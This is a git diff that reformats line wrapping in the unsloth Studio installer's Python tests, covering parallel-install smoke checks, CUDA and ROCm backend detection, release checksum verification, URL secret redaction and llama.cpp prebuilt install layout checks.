             print(installer.collect_system_report(host, choice, install_dir))
         else:
             print(f"[smoke] ERROR exit_code={code} install_dir={install_dir}")
diff --git a/tests/studio/install/smoke_test_parallel_studio_home.py b/tests/studio/install/smoke_test_parallel_studio_home.py
index 55b6df5190..f2dd6df6d3 100644
--- a/tests/studio/install/smoke_test_parallel_studio_home.py
+++ b/tests/studio/install/smoke_test_parallel_studio_home.py
@@ -50,7 +50,12 @@ def _free_port() -> int:
 
 
 def _run_one_install(
-    label: str, repo: Path, studio_home: Path, fake_home: Path, uv_cache: Path, log_path: Path
+    label: str,
+    repo: Path,
+    studio_home: Path,
+    fake_home: Path,
+    uv_cache: Path,
+    log_path: Path,
 ) -> tuple[str, int]:
     studio_home.mkdir(parents = True, exist_ok = True)
     fake_home.mkdir(parents = True, exist_ok = True)
@@ -114,7 +119,9 @@ def _wait_for_health(port: int, timeout: float) -> dict:
         except (urllib.error.URLError, ConnectionError, OSError) as e:
             last_err = e
         time.sleep(HEALTH_POLL_INTERVAL_S)
-    raise TestFailure(f"port {port}: /api/health never returned 200 (last_err={last_err})")
+    raise TestFailure(
+        f"port {port}: /api/health never returned 200 (last_err={last_err})"
+    )
 
 
 def _http_status(
@@ -168,7 +175,9 @@ def _check_install_layout(label: str, studio_home: Path) -> dict:
         raise TestFailure(f"[{label}] launch-studio.sh kept @@DATA_DIR@@ placeholder")
     expected_data_dir_line = f"DATA_DIR='{studio_home}/share'"
     if expected_data_dir_line not in launcher:
-        raise TestFailure(f"[{label}] launch-studio.sh missing {expected_data_dir_line!r}")
+        raise TestFailure(
+            f"[{label}] launch-studio.sh missing {expected_data_dir_line!r}"
+        )
 
     return {"label": label, "studio_home": str(studio_home), "install_id": install_id}
 
@@ -185,7 +194,9 @@ def _check_fake_home_clean(fake_home: Path) -> None:
     ]
     leaked = [str(p) for p in forbidden if (fake_home / p).exists()]
     if leaked:
-        raise TestFailure(f"redirected HOME picked up persistent install pollution: {leaked}")
+        raise TestFailure(
+            f"redirected HOME picked up persistent install pollution: {leaked}"
+        )
 
 
 def _backend_pid_python(pid: int) -> Path | None:
@@ -206,7 +217,9 @@ def run(n_installs: int, keep: bool) -> int:
 
     repo = PACKAGE_ROOT
     if not (repo / "install.sh").is_file():
-        raise TestFailure(f"install.sh not found at {repo}; run from a clone of unslothai/unsloth")
+        raise TestFailure(
+            f"install.sh not found at {repo}; run from a clone of unslothai/unsloth"
+        )
 
     test_root = Path(tempfile.mkdtemp(prefix = "unsloth_studio_clash_"))
     _log(f"test root: {test_root}")
@@ -294,7 +307,8 @@ def run(n_installs: int, keep: bool) -> int:
                 raise TestFailure(f"[{label}] chat_only is not true under --no-torch")
             if health["studio_root_id"] in seen_root_ids:
                 raise TestFailure(
-                    f"[{label}] studio_root_id collision at runtime: " f"{health['studio_root_id']}"
+                    f"[{label}] studio_root_id collision at runtime: "
+                    f"{health['studio_root_id']}"
                 )
             seen_root_ids.add(health["studio_root_id"])
 
@@ -305,7 +319,9 @@ def run(n_installs: int, keep: bool) -> int:
 
             exe = _backend_pid_python(proc.pid)
             if exe is not None:
-                expected_python = (studio_home / "unsloth_studio" / "bin" / "python").resolve()
+                expected_python = (
+                    studio_home / "unsloth_studio" / "bin" / "python"
+                ).resolve()
                 if exe != expected_python:
                     raise TestFailure(
                         f"[{label}] PID {proc.pid} exe={exe}, expected {expected_python}"
@@ -315,7 +331,10 @@ def run(n_installs: int, keep: bool) -> int:
         if len(versions) != 1:
             raise TestFailure(f"version mismatch across installs: {versions}")
 
-        _log(f"PASS: all install + runtime invariants hold " f"(version={next(iter(versions))})")
+        _log(
+            f"PASS: all install + runtime invariants hold "
+            f"(version={next(iter(versions))})"
+        )
         return 0
 
     except TestFailure as e:
diff --git a/tests/studio/install/test_cuda_repair.py b/tests/studio/install/test_cuda_repair.py
index c6d2b95316..43dc7ef920 100644
--- a/tests/studio/install/test_cuda_repair.py
+++ b/tests/studio/install/test_cuda_repair.py
@@ -15,7 +15,9 @@ import pytest
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 
 _STACK_PATH = PACKAGE_ROOT / "studio" / "install_python_stack.py"
-_STACK_SPEC = importlib.util.spec_from_file_location("studio_install_python_stack", _STACK_PATH)
+_STACK_SPEC = importlib.util.spec_from_file_location(
+    "studio_install_python_stack", _STACK_PATH
+)
 assert _STACK_SPEC is not None and _STACK_SPEC.loader is not None
 stack_mod = importlib.util.module_from_spec(_STACK_SPEC)
 sys.modules[_STACK_SPEC.name] = stack_mod
@@ -43,7 +45,9 @@ def _make_run(
             return result
         # nvidia-smi version probe (text = True)
         result.returncode = smi_rc
-        out = f"CUDA Version: {cuda_version}\n" if cuda_version else "No devices found\n"
+        out = (
+            f"CUDA Version: {cuda_version}\n" if cuda_version else "No devices found\n"
+        )
         result.stdout = out if kwargs.get("text") else out.encode()
         return result
 
@@ -293,7 +297,9 @@ class TestCudaRepairSkips:
         import contextlib
 
         def _with(url):
-            with patch.dict(stack_mod.os.environ, {"UNSLOTH_TORCH_INDEX_URL": url}, clear = False):
+            with patch.dict(
+                stack_mod.os.environ, {"UNSLOTH_TORCH_INDEX_URL": url}, clear = False
+            ):
                 stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
                 return stack_mod._explicit_cuda_torch_index_url()
 
@@ -335,7 +341,9 @@ class TestTorchBackendDerivationFromPin:
 
     def test_cu128_pin_is_cuda(self):
         assert (
-            self._derive({"UNSLOTH_TORCH_INDEX_URL": "https://download.pytorch.org/whl/cu128"})
+            self._derive(
+                {"UNSLOTH_TORCH_INDEX_URL": "https://download.pytorch.org/whl/cu128"}
+            )
             == "cuda"
         )
 
@@ -345,15 +353,25 @@ class TestTorchBackendDerivationFromPin:
     def test_current_leaf_not_cuda(self):
         # ^cu[0-9] rejects /current -> backend stays "" (probe GPU), so an AMD host still
         # repairs a CPU/wrong torch instead of short-circuiting.
-        assert self._derive({"UNSLOTH_TORCH_INDEX_URL": "https://mymirror.example/current"}) == ""
+        assert (
+            self._derive(
+                {"UNSLOTH_TORCH_INDEX_URL": "https://mymirror.example/current"}
+            )
+            == ""
+        )
 
     def test_custom_leaf_not_cuda(self):
-        assert self._derive({"UNSLOTH_TORCH_INDEX_URL": "https://mymirror.example/custom"}) == ""
+        assert (
+            self._derive({"UNSLOTH_TORCH_INDEX_URL": "https://mymirror.example/custom"})
+            == ""
+        )
 
     def test_rocm_and_gfx_pins_are_rocm(self):
         assert self._derive({"UNSLOTH_TORCH_INDEX_FAMILY": "rocm7.2"}) == "rocm"
         assert (
-            self._derive({"UNSLOTH_TORCH_INDEX_URL": "https://repo.amd.com/rocm/whl/gfx120X-all"})
+            self._derive(
+                {"UNSLOTH_TORCH_INDEX_URL": "https://repo.amd.com/rocm/whl/gfx120X-all"}
+            )
             == "rocm"
         )
 
diff --git a/tests/studio/install/test_download_host_resolve.py b/tests/studio/install/test_download_host_resolve.py
index 5108c84062..aa9ab107d3 100644
--- a/tests/studio/install/test_download_host_resolve.py
+++ b/tests/studio/install/test_download_host_resolve.py
@@ -12,7 +12,9 @@ import pytest
 
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 MODULE_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
-SPEC = importlib.util.spec_from_file_location("studio_install_llama_prebuilt_dlhost", MODULE_PATH)
+SPEC = importlib.util.spec_from_file_location(
+    "studio_install_llama_prebuilt_dlhost", MODULE_PATH
+)
 assert SPEC is not None and SPEC.loader is not None
 ILP = importlib.util.module_from_spec(SPEC)
 sys.modules[SPEC.name] = ILP
@@ -166,7 +168,9 @@ def _stub_downloads(
     monkeypatch.setattr(ILP, "fetch_json", _no_api)
     # The authoritative latest tag comes from the /releases/latest redirect
     # (github.com, no api.github.com); stub it so no real request is made.
-    monkeypatch.setattr(ILP, "_download_host_latest_release_tag", lambda _repo: latest_tag)
+    monkeypatch.setattr(
+        ILP, "_download_host_latest_release_tag", lambda _repo: latest_tag
+    )
 
     def _download_bytes(url, *_a, **_k):
         if SHA256_ASSET in url:
@@ -195,7 +199,9 @@ def test_resolved_release_adds_tag_pinned_url_for_manifest_only_asset(monkeypatc
 def test_resolved_release_rejects_manifest_checksum_mismatch(monkeypatch):
     # A wrong manifest hash in the checksum payload must fail closed, so the
     # router falls back to the API rather than trusting the fast path.
-    _stub_downloads(monkeypatch, _sha_payload(manifest_sha256 = "b" * 64), _manifest_bytes())
+    _stub_downloads(
+        monkeypatch, _sha_payload(manifest_sha256 = "b" * 64), _manifest_bytes()
+    )
     with pytest.raises(PrebuiltFallback, match = "manifest checksum"):
         ILP._download_host_resolved_release(FORK_REPO)
 
@@ -204,7 +210,9 @@ def test_resolved_release_rejects_release_tag_mismatch(monkeypatch):
     # The checksum asset self-reports RELEASE_TAG, but the authoritative
     # /releases/latest redirect resolves a different tag: the fast path must not
     # pin to the stale self-reported tag (it raises, so the router falls back).
-    _stub_downloads(monkeypatch, _sha_payload(), _manifest_bytes(), latest_tag = "b9999-mix-other")
+    _stub_downloads(
+        monkeypatch, _sha_payload(), _manifest_bytes(), latest_tag = "b9999-mix-other"
+    )
     with pytest.raises(RuntimeError, match = "did not match pinned release tag"):
         ILP._download_host_resolved_release(FORK_REPO)
 
@@ -280,5 +288,7 @@ def test_latest_release_tag_none_on_404(monkeypatch):
 
 def test_latest_release_tag_none_when_not_a_tag_url(monkeypatch):
     # No /releases/tag/ segment (e.g. redirected somewhere unexpected) -> None.
-    monkeypatch.setattr(ILP, "_URL_OPENER", _FakeOpener(url = f"https://github.com/{FORK_REPO}"))
+    monkeypatch.setattr(
+        ILP, "_URL_OPENER", _FakeOpener(url = f"https://github.com/{FORK_REPO}")
+    )
     assert ILP._download_host_latest_release_tag(FORK_REPO) is None
diff --git a/tests/studio/install/test_gpu_detection_followups.py b/tests/studio/install/test_gpu_detection_followups.py
index d2fd7ae8db..2068841cb6 100644
--- a/tests/studio/install/test_gpu_detection_followups.py
+++ b/tests/studio/install/test_gpu_detection_followups.py
@@ -76,9 +76,15 @@ def _run_detect_host(
     patches = [
         patch.object(prebuilt_mod.platform, "system", return_value = system),
         patch.object(prebuilt_mod.platform, "machine", return_value = machine),
-        patch.object(prebuilt_mod.platform, "mac_ver", return_value = ("", ("", "", ""), "")),
-        patch.object(prebuilt_mod.shutil, "which", side_effect = lambda n: which_map.get(n)),
-        patch.object(prebuilt_mod, "run_capture", side_effect = _make_run_capture(rocminfo_stdout)),
+        patch.object(
+            prebuilt_mod.platform, "mac_ver", return_value = ("", ("", "", ""), "")
+        ),
+        patch.object(
+            prebuilt_mod.shutil, "which", side_effect = lambda n: which_map.get(n)
+        ),
+        patch.object(
+            prebuilt_mod, "run_capture", side_effect = _make_run_capture(rocminfo_stdout)
+        ),
         patch.object(prebuilt_mod.os.path, "isdir", side_effect = fake_isdir),
         patch.object(prebuilt_mod.os, "listdir", side_effect = fake_listdir),
         patch.object(prebuilt_mod.os, "access", return_value = False),
@@ -262,7 +268,9 @@ class TestSetupShHardening:
                 wrapped = True
                 break
             start = idx + 1
-        assert wrapped, "compute_cap probe must be wrapped in _setup_run_smi (timeout-bounded)"
+        assert (
+            wrapped
+        ), "compute_cap probe must be wrapped in _setup_run_smi (timeout-bounded)"
 
     def test_driver_version_probe_timeout_wrapped(self, setup_src):
         start = setup_src.find("_cuda_driver_max_version()")
@@ -317,7 +325,9 @@ class TestBackendExportLeafClassification:
             out = sp.run(
                 ["sh", str(script), url], capture_output = True, text = True, timeout = 30
             ).stdout.strip()
-            assert out == expected, f"{url} classified as {out!r}, expected {expected!r}"
+            assert (
+                out == expected
+            ), f"{url} classified as {out!r}, expected {expected!r}"
 
 
 # TEST: CUDA_VISIBLE_DEVICES=""/-1 hides NVIDIA in every usable-GPU helper
@@ -398,7 +408,9 @@ class TestHiddenCvdNotUsable:
         with (
             patch.object(stack_mod.shutil, "which", side_effect = which_map.get),
             patch.object(stack_mod.subprocess, "run", side_effect = fake_run),
-            patch.dict(stack_mod.os.environ, {"CUDA_VISIBLE_DEVICES": "-1"}, clear = False),
+            patch.dict(
+                stack_mod.os.environ, {"CUDA_VISIBLE_DEVICES": "-1"}, clear = False
+            ),
         ):
             assert stack_mod._has_rocm_gpu() is True
 
@@ -457,7 +469,11 @@ class TestHiddenCvdNotUsable:
         out = self._run_sh_helper(
             tmp_path,
             src,
-            ["_setup_run_smi", "_setup_cvd_hides_nvidia", "_setup_has_usable_nvidia_gpu"],
+            [
+                "_setup_run_smi",
+                "_setup_cvd_hides_nvidia",
+                "_setup_has_usable_nvidia_gpu",
+            ],
             cvd,
         )
         assert out == expected
@@ -474,23 +490,33 @@ class TestRedactInstallOutput:
         assert out == "ERROR: failed https://@download.pytorch.org/whl/cu128"
 
     def test_bytes_input_decoded_and_redacted(self):
-        out = stack_mod._redact_install_output(b"fetch https://ghp_deadbeef@host/whl/cu128 failed")
+        out = stack_mod._redact_install_output(
+            b"fetch https://ghp_deadbeef@host/whl/cu128 failed"
+        )
         assert out == "fetch https://@host/whl/cu128 failed"
 
     def test_query_values_redacted(self):
         out = stack_mod._redact_install_output(
             "url https://host/whl/cu128?token=abcd1234&channel=beta unreachable"
         )
-        assert out == "url https://host/whl/cu128?token=&channel= unreachable"
+        assert (
+            out
+            == "url https://host/whl/cu128?token=&channel= unreachable"
+        )
 
     def test_fragment_redacted(self):
         out = stack_mod._redact_install_output(
             "ERROR: could not fetch https://mirror.local/whl/cu128#token=SECRET123 (403)"
         )
-        assert out == "ERROR: could not fetch https://mirror.local/whl/cu128# (403)"
+        assert (
+            out
+            == "ERROR: could not fetch https://mirror.local/whl/cu128# (403)"
+        )
 
     def test_query_and_fragment_both_redacted(self):
-        out = stack_mod._redact_install_output("https://host/whl/cu128?token=abc#sig=xyz done")
+        out = stack_mod._redact_install_output(
+            "https://host/whl/cu128?token=abc#sig=xyz done"
+        )
         assert out == "https://host/whl/cu128?token=# done"
 
     def test_bare_hash_comment_untouched(self):
@@ -510,7 +536,9 @@ class TestRedactInstallOutput:
         out = stack_mod._redact_install_output(
             "https://alice:s3cr3t@host/whl/cu128?token=SUPERSECRET#frag=ALSOSECRET"
         )
-        assert "s3cr3t" not in out and "SUPERSECRET" not in out and "ALSOSECRET" not in out
+        assert (
+            "s3cr3t" not in out and "SUPERSECRET" not in out and "ALSOSECRET" not in out
+        )
 
 
 class TestTrimIndexPathSlashes:
@@ -518,7 +546,10 @@ class TestTrimIndexPathSlashes:
     ending in "/" must survive (a whole-URL rstrip would corrupt a base64 token)."""
 
     def test_double_path_slash_collapsed(self):
-        assert stack_mod._trim_index_path_slashes("https://h/whl/cu128//") == "https://h/whl/cu128"
+        assert (
+            stack_mod._trim_index_path_slashes("https://h/whl/cu128//")
+            == "https://h/whl/cu128"
+        )
 
     def test_query_token_slash_preserved(self):
         assert (
diff --git a/tests/studio/install/test_hf_auth.py b/tests/studio/install/test_hf_auth.py
index 99e65b7fed..d6740661b8 100644
--- a/tests/studio/install/test_hf_auth.py
+++ b/tests/studio/install/test_hf_auth.py
@@ -21,7 +21,9 @@ sys.modules[_SPEC.name] = mod
 _SPEC.loader.exec_module(mod)
 
 _TOKEN_VARS = ("GH_TOKEN", "GITHUB_TOKEN", "HF_TOKEN", "HUGGING_FACE_HUB_TOKEN")
-HF_URL = "https://huggingface.co/ggml-org/models/resolve/main/tinyllamas/stories260K.gguf"
+HF_URL = (
+    "https://huggingface.co/ggml-org/models/resolve/main/tinyllamas/stories260K.gguf"
+)
 GH_URL = "https://api.github.com/repos/unslothai/llama.cpp/releases"
 
 
diff --git a/tests/studio/install/test_install_llama_prebuilt_logic.py b/tests/studio/install/test_install_llama_prebuilt_logic.py
index 9a094ddc0e..a2e261f3da 100644
--- a/tests/studio/install/test_install_llama_prebuilt_logic.py
+++ b/tests/studio/install/test_install_llama_prebuilt_logic.py
@@ -15,7 +15,9 @@ import pytest
 
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 MODULE_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
-SPEC = importlib.util.spec_from_file_location("studio_install_llama_prebuilt", MODULE_PATH)
+SPEC = importlib.util.spec_from_file_location(
+    "studio_install_llama_prebuilt", MODULE_PATH
+)
 assert SPEC is not None and SPEC.loader is not None
 INSTALL_LLAMA_PREBUILT = importlib.util.module_from_spec(SPEC)
 sys.modules[SPEC.name] = INSTALL_LLAMA_PREBUILT
@@ -64,7 +66,9 @@ def linux_host() -> HostInfo:
     )
 
 
-def approved_release_checksums_for_asset(asset_name: str, sha256: str) -> ApprovedReleaseChecksums:
+def approved_release_checksums_for_asset(
+    asset_name: str, sha256: str
+) -> ApprovedReleaseChecksums:
     return ApprovedReleaseChecksums(
         repo = "unslothai/llama.cpp",
         release_tag = "b9334",
@@ -237,7 +241,9 @@ def test_remove_agent_instruction_files_does_not_follow_links(tmp_path: Path):
 
 
 @pytest.mark.skipif(os.name != "nt", reason = "Windows junction behavior")
-def test_remove_agent_instruction_files_does_not_follow_windows_junctions(tmp_path: Path):
+def test_remove_agent_instruction_files_does_not_follow_windows_junctions(
+    tmp_path: Path,
+):
     managed = tmp_path / "managed"
     external = tmp_path / "external"
     managed.mkdir()
@@ -255,7 +261,9 @@ def test_remove_agent_instruction_files_does_not_follow_windows_junctions(tmp_pa
             check = False,
         )
         if result.returncode != 0:
-            pytest.skip(f"directory junctions unavailable: {result.stderr or result.stdout}")
+            pytest.skip(
+                f"directory junctions unavailable: {result.stderr or result.stdout}"
+            )
 
     assert remove_agent_instruction_files(managed) == 0
     assert remove_agent_instruction_files(root_junction) == 0
@@ -308,7 +316,9 @@ def test_remove_agent_instruction_files_continues_after_unlink_error(
     assert blocked.exists()
     assert not removable.exists()
     captured = capsys.readouterr()
-    assert "could not remove contributor-only instruction" in captured.out + captured.err
+    assert (
+        "could not remove contributor-only instruction" in captured.out + captured.err
+    )
 
 
 def test_main_resolves_linked_install_path_and_preserves_cleanup_root(
@@ -363,7 +373,9 @@ def test_install_prebuilt_uses_explicit_instruction_cleanup_root(
     monkeypatch.setattr(
         INSTALL_LLAMA_PREBUILT,
         "resolve_simple_install_release_plans",
-        lambda *_args, **_kwargs: (_ for _ in ()).throw(RuntimeError("stop after cleanup")),
+        lambda *_args, **_kwargs: (_ for _ in ()).throw(
+            RuntimeError("stop after cleanup")
+        ),
     )
 
     with pytest.raises(RuntimeError, match = "stop after cleanup"):
@@ -446,7 +458,9 @@ def test_hydrate_source_tree_extracts_upstream_archive_contents(
 def test_release_asset_download_url():
     fn = INSTALL_LLAMA_PREBUILT.release_asset_download_url
     assert fn(
-        "unslothai/llama.cpp", "b9000-mix-abc1234", "llama.cpp-source-commit-deadbeef.tar.gz"
+        "unslothai/llama.cpp",
+        "b9000-mix-abc1234",
+        "llama.cpp-source-commit-deadbeef.tar.gz",
     ) == (
         "https://github.com/unslothai/llama.cpp/releases/download/"
         "b9000-mix-abc1234/llama.cpp-source-commit-deadbeef.tar.gz"
@@ -460,14 +474,18 @@ def test_release_asset_download_url():
 def _mk_source_tarball(path: Path, tag: str) -> None:
     with tarfile.open(path, "w:gz") as archive:
         add_bytes_to_tar(
-            archive, f"llama.cpp-{tag}/CMakeLists.txt", b"cmake_minimum_required(VERSION 3.14)\n"
+            archive,
+            f"llama.cpp-{tag}/CMakeLists.txt",
+            b"cmake_minimum_required(VERSION 3.14)\n",
         )
         add_bytes_to_tar(
             archive,
             f"llama.cpp-{tag}/convert_hf_to_gguf.py",
             b"#!/usr/bin/env python3\nimport gguf\n",
         )
-        add_bytes_to_tar(archive, f"llama.cpp-{tag}/gguf-py/gguf/__init__.py", b"__all__ = []\n")
+        add_bytes_to_tar(
+            archive, f"llama.cpp-{tag}/gguf-py/gguf/__init__.py", b"__all__ = []\n"
+        )
 
 
 def test_hydrate_source_tree_prefers_release_asset_for_mix(
@@ -478,7 +496,9 @@ def test_hydrate_source_tree_prefers_release_asset_for_mix(
     archive_path = tmp_path / "merged-source.tar.gz"
     _mk_source_tarball(archive_path, f"b9000-mix-{commit[:7]}")
     asset_url = INSTALL_LLAMA_PREBUILT.release_asset_download_url(
-        "unslothai/llama.cpp", "b9000-mix-abc1234", f"llama.cpp-source-commit-{commit}.tar.gz"
+        "unslothai/llama.cpp",
+        "b9000-mix-abc1234",
+        f"llama.cpp-source-commit-{commit}.tar.gz",
     )
     codeload_urls = set(
         INSTALL_LLAMA_PREBUILT.commit_source_archive_urls("unslothai/llama.cpp", commit)
@@ -488,7 +508,9 @@ def test_hydrate_source_tree_prefers_release_asset_for_mix(
     def fake_download_file(url: str, destination: Path) -> None:
         seen.append(url)
         if url in codeload_urls:
-            raise AssertionError("codeload was hit even though the release asset was available")
+            raise AssertionError(
+                "codeload was hit even though the release asset was available"
+            )
         assert url == asset_url
         destination.write_bytes(archive_path.read_bytes())
 
@@ -521,7 +543,9 @@ def test_hydrate_source_tree_falls_back_to_codeload_when_asset_missing(
     asset_url = INSTALL_LLAMA_PREBUILT.release_asset_download_url(
         "unslothai/llama.cpp", "b9000", f"llama.cpp-source-commit-{commit}.tar.gz"
     )
-    codeload_urls = INSTALL_LLAMA_PREBUILT.commit_source_archive_urls("unslothai/llama.cpp", commit)
+    codeload_urls = INSTALL_LLAMA_PREBUILT.commit_source_archive_urls(
+        "unslothai/llama.cpp", commit
+    )
 
     def fake_download_file(url: str, destination: Path) -> None:
         if url == asset_url:
@@ -612,8 +636,12 @@ def test_validate_prebuilt_choice_creates_repo_shaped_linux_install(
         "preflight_linux_installed_binaries",
         lambda *args, **kwargs: None,
     )
-    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "validate_quantize", lambda *args, **kwargs: None)
-    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "validate_server", lambda *args, **kwargs: None)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "validate_quantize", lambda *args, **kwargs: None
+    )
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "validate_server", lambda *args, **kwargs: None
+    )
 
     host = HostInfo(
         system = "Linux",
@@ -729,8 +757,12 @@ def test_validate_prebuilt_choice_creates_repo_shaped_windows_install(
         "preflight_linux_installed_binaries",
         lambda *args, **kwargs: None,
     )
-    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "validate_quantize", lambda *args, **kwargs: None)
-    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "validate_server", lambda *args, **kwargs: None)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "validate_quantize", lambda *args, **kwargs: None
+    )
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "validate_server", lambda *args, **kwargs: None
+    )
 
     host = HostInfo(
         system = "Windows",
@@ -821,7 +853,9 @@ def test_activate_install_tree_restores_existing_install_after_activation_failur
     monkeypatch.setattr(
         INSTALL_LLAMA_PREBUILT,
         "confirm_install_tree",
-        lambda *_args, **_kwargs: (_ for _ in ()).throw(RuntimeError("activation confirm failed")),
+        lambda *_args, **_kwargs: (_ for _ in ()).throw(
+            RuntimeError("activation confirm failed")
+        ),
     )
 
     with pytest.raises(
@@ -855,7 +889,9 @@ def test_activate_install_tree_preserves_symlink_to_resolved_target(
         linked_root.symlink_to(install_dir, target_is_directory = True)
     except OSError as exc:
         pytest.skip(f"directory symlinks unavailable: {exc}")
-    monkeypatch.setattr(INSTALL_LLAMA_PREBUILT, "confirm_install_tree", lambda *_args: None)
+    monkeypatch.setattr(
+        INSTALL_LLAMA_PREBUILT, "confirm_install_tree", lambda *_args: None
+    )
 
     activate_install_tree(staging_dir, linked_root.resolve(), linux_host())
 
@@ -893,7 +929,9 @@ def test_activate_install_tree_cleans_all_paths_when_rollback_restore_fails(
     monkeypatch.setattr(
         INSTALL_LLAMA_PREBUILT,
         "confirm_install_tree",
-        lambda *_args, **_kwargs: (_ for _ in ()).throw(RuntimeError("activation confirm failed")),
+        lambda *_args, **_kwargs: (_ for _ in ()).throw(
+            RuntimeError("activation confirm failed")
+        ),
     )
 
     original_replace = INSTALL_LLAMA_PREBUILT.os.replace
@@ -920,7 +958,10 @@ def test_activate_install_tree_cleans_all_paths_when_rollback_restore_fails(
     captured = capsys.readouterr()
     output = captured.out + captured.err
     assert "rollback after failed activation also failed: restore failed" in output
-    assert "cleaning staging, install, and rollback paths before source build fallback" in output
+    assert (
+        "cleaning staging, install, and rollback paths before source build fallback"
+        in output
+    )
     assert "removing failed install path" in output
     assert "removing rollback path" in output
 
@@ -1236,7 +1277,9 @@ def test_binary_env_drops_explicit_credential_file_pointers(
         assert var not in env
 
 
-def test_linux_runtime_dirs_probes_with_secret_free_env(monkeypatch: pytest.MonkeyPatch):
+def test_linux_runtime_dirs_probes_with_secret_free_env(
+    monkeypatch: pytest.MonkeyPatch,
+):
     captured: dict[str, object] = {}
 
     def fake_missing(binary_path, *, env = None):
@@ -1399,7 +1442,9 @@ def write_linux_install_shape(install_dir: Path) -> None:
     (runtime_dir / "libggml-base.so.0").write_bytes(b"DLL")
     (runtime_dir / "libggml-cpu-x64.so.0").write_bytes(b"DLL")
     (runtime_dir / "libmtmd.so.0").write_bytes(b"DLL")
-    (install_dir / "convert_hf_to_gguf.py").write_text("#!/usr/bin/env python3\n", encoding = "utf-8")
+    (install_dir / "convert_hf_to_gguf.py").write_text(
+        "#!/usr/bin/env python3\n", encoding = "utf-8"
+    )
     (install_dir / "gguf-py" / "gguf").mkdir(parents = True, exist_ok = True)
 
 
@@ -1423,7 +1468,9 @@ def write_windows_install_shape(
         (runtime_dir / "cudart64_12.dll").write_bytes(b"DLL")
         (runtime_dir / "cublas64_12.dll").write_bytes(b"DLL")
         (runtime_dir / "cublasLt64_12.dll").write_bytes(b"DLL")
-    (install_dir / "convert_hf_to_gguf.py").write_text("#!/usr/bin/env python3\n", encoding = "utf-8")
+    (install_dir / "convert_hf_to_gguf.py").write_text(
+        "#!/usr/bin/env python3\n", encoding = "utf-8"
+    )
     (install_dir / "gguf-py" / "gguf").mkdir(parents = True, exist_ok = True)
 
 
@@ -1446,7 +1493,9 @@ def write_macos_install_shape(
         (runtime_dir / "libggml.0.dylib").write_bytes(b"DLL")
     if include_libmtmd:
         (runtime_dir / "libmtmd.0.dylib").write_bytes(b"DLL")
-    (install_dir / "convert_hf_to_gguf.py").write_text("#!/usr/bin/env python3\n", encoding = "utf-8")
+    (install_dir / "convert_hf_to_gguf.py").write_text(
+        "#!/usr/bin/env python3\n", encoding = "utf-8"
+    )
     (install_dir / "gguf-py" / "gguf").mkdir(parents = True, exist_ok = True)
 
 
@@ -1525,7 +1574,8 @@ def test_existing_install_matches_plan_false_without_fingerprint(tmp_path: Path)
     install_dir.mkdir()
     write_linux_install_shape(install_dir)
     (install_dir / "UNSLOTH_PREBUILT_INFO.json").write_text(
-        json.dumps({"tag": "b9001", "asset": "llama-b9001-bin-ubuntu-x64.tar.gz"}) + "\n",
+        json.dumps({"tag": "b9001", "asset": "llama-b9001-bin-ubuntu-x64.tar.gz"})
+        + "\n",
         encoding = "utf-8",
     )
 
@@ -1588,7 +1638,9 @@ def test_existing_install_matches_plan_false_with_malformed_metadata(tmp_path: P
     install_dir = tmp_path / "llama.cpp"
     install_dir.mkdir()
     write_linux_install_shape(install_dir)
-    (install_dir / "UNSLOTH_PREBUILT_INFO.json").write_text("{not-json\n", encoding = "utf-8")
+    (install_dir / "UNSLOTH_PREBUILT_INFO.json").write_text(
+        "{not-json\n", encoding = "utf-8"
+    )
 
     host = HostInfo(
         system = "Linux",
@@ -1719,7 +1771,9 @@ def test_existing_install_matches_plan_windows_cpu_requires_llama_dll(tmp_path:
 def test_existing_install_matches_plan_windows_cuda_requires_cuda_dll(tmp_path: Path):
     install_dir = tmp_path / "llama.cpp"
     install_dir.mkdir()
-    write_windows_install_shape(install_dir, include_llama_dll = True, include_cuda_dll = True)
+    write_windows_install_shape(
+        install_dir, include_llama_dll = True, include_cuda_dll = True
+    )
 
     host = HostInfo(
         system = "Windows",
@@ -1788,7 +1842,9 @@ def test_existing_install_matches_plan_windows_cuda_requires_cuda_dll(tmp_path:
     assert existing_install_matches_plan(install_dir, host, plan) is False
 
 
-def test_existing_install_matches_plan_windows_cuda_paired_requires_cudart(tmp_path: Path):
+def test_existing_install_matches_plan_windows_cuda_paired_requires_cudart(
+    tmp_path: Path,
+):
     """A paired cudart bundle (#5106) marks the install stale unless cudart64_* and cublas64_* are on disk."""
     install_dir = tmp_path / "llama.cpp"
     install_dir.mkdir()
@@ -1898,7 +1954,9 @@ def test_existing_install_matches_plan_windows_cuda_paired_requires_cudart(tmp_p
     assert existing_install_matches_plan(install_dir, host, plan) is False
 
 
-def test_existing_install_matches_plan_windows_cuda_unpaired_skips_cudart_check(tmp_path: Path):
+def test_existing_install_matches_plan_windows_cuda_unpaired_skips_cudart_check(
+    tmp_path: Path,
+):
     """With no paired runtime archive, a legacy install lacking cudart must still pass (else reinstall loops)."""
     install_dir = tmp_path / "llama.cpp"
     install_dir.mkdir()
@@ -2250,7 +2308,9 @@ def test_install_prebuilt_skips_download_when_existing_install_matches(
         INSTALL_LLAMA_PREBUILT,
         "download_validation_model",
         lambda *args, **kwargs: (_ for _ in ()).throw(
-            AssertionError("matching install should skip before validation model download")
+            AssertionError(
+                "matching install should skip before validation model download"
+            )
         ),
     )
 
@@ -2268,7 +2328,10 @@ def test_setup_scripts_prune_agent_files_without_shipping_a_repo_copy():
         '    "$SCRIPT_DIR/frontend/node_modules" \\\n'
         '    "$_OXC_DIR/node_modules"'
     ) in setup_sh
-    assert '_remove_agent_instruction_files "$SCRIPT_DIR/frontend" "$_OXC_DIR"' not in setup_sh
+    assert (
+        '_remove_agent_instruction_files "$SCRIPT_DIR/frontend" "$_OXC_DIR"'
